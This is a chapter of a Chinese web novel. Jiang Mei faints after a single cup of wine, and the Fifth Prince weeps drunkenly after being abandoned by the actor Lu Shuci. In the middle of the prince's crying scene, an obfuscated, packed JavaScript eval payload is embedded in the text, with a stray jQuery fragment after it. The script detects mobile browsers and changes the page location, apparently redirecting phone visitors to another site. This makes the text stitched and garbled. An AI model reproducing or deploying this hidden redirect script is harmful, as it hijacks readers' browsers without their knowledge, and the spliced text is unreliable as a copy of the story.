52. 哭嚎
作品:《捡了个小郎君》 “是我疏忽了,姜姑娘勿怪。”
看她失落地垂眸,姜妺有些不好意思地微微抿唇。
霍诗晴怎么说也是霍宁堂妹,今日又是冒雨送来这秋月白,如此盛情招待,她若是推拒,难免伤了她心。
“我的确从未饮过酒,不过,尝一尝应当是没问题的。”
霍诗晴眼睛一亮,忙起身为姜妺斟酒。霍宁张了张嘴想要说什么,被她轻轻踢了踢脚。姜妺微微摇头,脸上含笑地举起酒杯。
“多谢霍小姐。”
入口是浓郁的奶香,倒是没有多辣,比姜妺预想的要好接受的多。
一杯酒下肚,少女的脸上已然带上了些许红霞。
嬴莜婧一瞧,便制止了霍诗晴倒酒的动作。
“妺儿不胜酒力,一杯足矣。”
“公主说的是,诶呀,姜姑娘是醉了?”
姜妺微微晃了晃脑袋,的确有些头晕。没想到这酒喝着寻常,后劲竟如此之快。
霍诗晴不敢再倒酒,想了想掏出腰间香囊。
“这里面有薄荷,姜姑娘闻一闻会好受些。”
“多谢。”
姜妺接过香囊,晕乎乎的脑袋让她昏昏欲睡。见此,霍宁忙扶住她歪倒的脑袋。
“妺儿?”
方才还能接话的少女已然昏睡,霍云舒噗嗤一笑,摆了摆手示意霍宁快将人送回房。
“我还是头一次见人一杯倒的呢,看来妺儿的确从未喝过酒。”
“妺儿自小身子不好,云娘自然是不会让她喝酒了。”
嬴莜婧无奈,见霍诗晴不放心地跟了上去,不由一叹。
“诗晴也是个好孩子,只可惜与二郎有缘无分。”
“那小子就喜欢他的那把剑,你又不是不知道。”
霍云舒咬了口鸡腿含糊不清地接茬,嬴莜婧不雅地翻了个白眼,冷哼一声啐道。
“姓霍的每一个聪明的。”
“瞎说,我哥可是探花呢!怎么不聪明?”
霍云舒瞪大了双眼反驳,嬴莜婧气笑了,抓起另一只鸡腿塞进她嘴里。
“吃你的吧!”
……
翌日,姜妺悠悠转醒,酸胀的脑袋让她嘤咛闷哼。
“姜姑娘,你可算醒了!”
见她醒来丫鬟不由笑道,“自打昨儿下午您睡了过去,小侯爷每隔一个时辰就要来瞧瞧您醒了没有呢。”
姜妺惊讶地扶着丫鬟坐在案边,“我竟睡了这么久?”
丫鬟掩唇一笑,“您那哪是睡啊?那是昏了。”
她也是头一次见人只吃了一杯酒便昏睡不醒的,要不是知道姜妺是醉酒,还以为她被人下了药呢。
姜妺不好意思地一笑,她也不知自己酒量竟会如此差。
“妺儿。”
二人正说话间,霍宁便来到了窗前,见姜妺眼神清明并无醉态,这才放下心。
“昨日你可吓坏我了,放下酒杯的时候还能与霍诗晴说话,结果下一刻脑袋一歪,便人事不知了。”
霍宁趴在窗口笑吟吟地看着她梳妆,“你现下感觉如何?头还晕吗?”
姜妺摇头,“我已经没事了,只是身子还有些乏力。”
看她无奈叹息,霍宁忍不住一笑。
“幸好那秋月白只是甜酒,若是烈酒,只怕你此刻还醒不来呢。今日你暂且歇歇,明日我们再走。”
姜妺只能点头,她这样启程,路上也只会让他们二人担心。
“阿宁,我觉得,你要不还是为霍老将军做完寿再走吧。”
毕竟是老人家的七十大寿,京中子孙除了收养的霍诗晴,便只有霍云舒与霍宁姑侄。
他们二人要是都离开,老人家难免失落。
霍宁也是犹豫,先前与母亲说好了,待祖父寿辰之日代为问候,他回京之后便亲自登门与他赔罪。
但昨日霍诗晴来此,带来了那坛秋月白。故友相赠,祖父却记得他与姑姑,让霍诗晴特地送来。
霍宁微微叹息,挠了挠头还是坚持道。
“我与祖父解释,他一定能理解的。姜夫人被噬心毒折磨了这么多年,自然是早日解毒为好。”
姜妺心中感激,如今嬴煜已死,也许过段时间母亲就解开心结,愿意回京了呢?到时候,还可以一起再为霍老将军祝寿呢。
先前霍老将军六十大寿之时,母亲本要父亲入京为其敬一杯酒,奈何当时要照料她,这才耽误了时日。
这次父亲为了霍老将军的寿礼提前一年准备,没想到却也不能亲手送到霍老将军手中。
“姑娘,醒酒汤。”
丫鬟端着醒酒汤进入房间,那汤味着实不好闻,姜妺压下反胃的干呕,忙接过一饮而尽。
“妺儿你先歇着,阿浔来找我,我去瞧瞧。”
方才小厮悄声来报,霍宁待看着姜妺喝下了醒酒汤这才离去。
“五皇子今儿一大早就来了,一身的酒气,奴婢瞧着眼还有些红呢,也不知道是与谁生气。”
姜妺有些惊讶,“五皇子?他,哭了?”
丫鬟点头,“是啊,不过五皇子自小就爱哭,每次招惹了小侯爷,便被打得大哭。”
姜妺失笑,这二人想来关系极好,否则也不会如此相处还不恼怒生气的。
听霍宁说,当日她被嬴煜囚于宫中之时长公主与他要硬闯宫门,还是嬴浔拦下了长公主,这才让长公主府免了无妄之灾。
只是,嬴浔因何卖醉?
想到昨日霍诗晴所说的话,姜妺下意识便想到了陆殊词之事。
难不成,真是因为陆殊词?
“五皇子现下在哪?”
……
嬴浔抱着霍宁的手臂嚎啕大哭,涕泗横流的模样要多狼狈有多狼狈。
霍宁嫌弃地抽了抽手臂,反被他又抱紧了几分。
“都说戏子无情,婊子无义,我瞧这话说的一点都没错!”
“我待他那么好,真金白银的将他捧成了角儿。结果他呢?!”
“无情无义!骗子!大骗子!”
嬴浔抓起袖子便要擤鼻涕,吓得霍宁忙抽回手连连后退了几步。
“那是我的袖子!”
“兄弟都这么惨了,你还关心你的袖子?!”
嬴浔不可置信地扶着桌腿,随手擦了把鼻涕嘴一撇又嚎出声。
“袖子,啊啊啊!!!你好端端提什么袖子?!!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14777775|157670||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
霍宁无奈地翻了个白眼,“早跟你说了,你若真喜欢,养在府中也就是了。如今可倒好,您成了多余的那个。”
嬴浔哭得更厉害了,抱起酒坛就猛灌。霍宁叹了口气,瞥见窗外探头探脑的少女,斜了眼沉浸在自己情绪里的嬴浔,便悄声离开房间。
“妺儿,你怎么来了?”
姜妺指了指屋内,压低了声音凑到霍宁耳畔问道。
“五皇子怎么哭成这样?”
那屋子里的酒味,关着门都能闻到。姜妺听着里面哭嚎的声音,都担心嬴浔的嗓子还好吗。
“还能是因为什么?不还是因为陆殊词吗?”
霍宁撇了撇嘴,他可理解不了嬴浔所谓的真心。
“他们两个顶多算是嫖客与金主的关系,真心?我可没听说过在梨园行里找真心的。不对,的确是有真心,不过人家的真心可没在他那儿。”
姜妺惊讶地张了张嘴,“那陆殊词,有喜欢的人?”
霍宁耸了耸肩,嬴浔也是可以的,三年了,竟不知自己养的玩意儿拿着他的钱养别人。
“人家两个可是过了明路的夫妻,他倒成了多余的人了。”
姜妺瞪大了双眼,“啊?那陆殊词喜欢女人啊?”
霍宁一笑,“不然呢?要不怎么说能忍的人能成大事呢?瞧,人家陆殊词忍了三年,既成了角,又挣了钱,多好。”
姜妺无奈拍了把少年的手臂,这阴阳怪气的话若是被屋内的人听到了,指不定又要哭成什么样子呢。
“那霍小姐说的那件事,真是五皇子做的啊?”
徒弟翘了师父台,而梨园中谁不知道陆殊词是五皇子的人,谁有胆子在背后搞事?
“嗯哼,他自个儿咽不下这口气,非要去找陆殊词不痛快。这下可倒好,人家陆殊词要跟他彻底断了,人不留在这京城了。嘿,走了。”
霍宁一拍手,白眼都快翻到天上去了。姜妺暗自感叹这陆殊词还真是个人物,也不怕嬴浔气昏了头对他不利。
“他那是算准了嬴浔舍不得动他,这叫有恃无恐。”
霍宁冷笑,里面的嬴浔还在哭嚎,二人对视了一眼,纷纷叹了一口气。
这还能怎么办?嬴浔都不动手了,他们能自作主张将人绑回来?
“不过,如此一来,便证明陆殊词的确与风雨楼无关。”
霍宁点头,“这倒还不如有关呢。”
否则,他此刻就有理由杀了那陆殊词为嬴浔出口恶气。
“有关无关,又有谁能证明呢?”
姜霍二人扭头一看,霍云舒双手环胸地靠在柱子上笑道。
“死无对证的事儿,又能去问谁?”
“这不太好吧?”
姜妺哑然,霍云舒噗嗤一笑,伸手揉了揉少女脑袋。
“这当然不好了,天子脚下哪能随意杀人?”
“姑姑的意思是,不是天子脚下就可以随便杀人了?”
霍云舒一巴掌拍在少年后脑勺,“去!我什么时候这样说?少给我扣帽子啊。”
“刚才不过是说一句玩笑话,你小子少给我搞事。”
霍宁耸肩一笑,不置可否道。
“这谁知道呢?”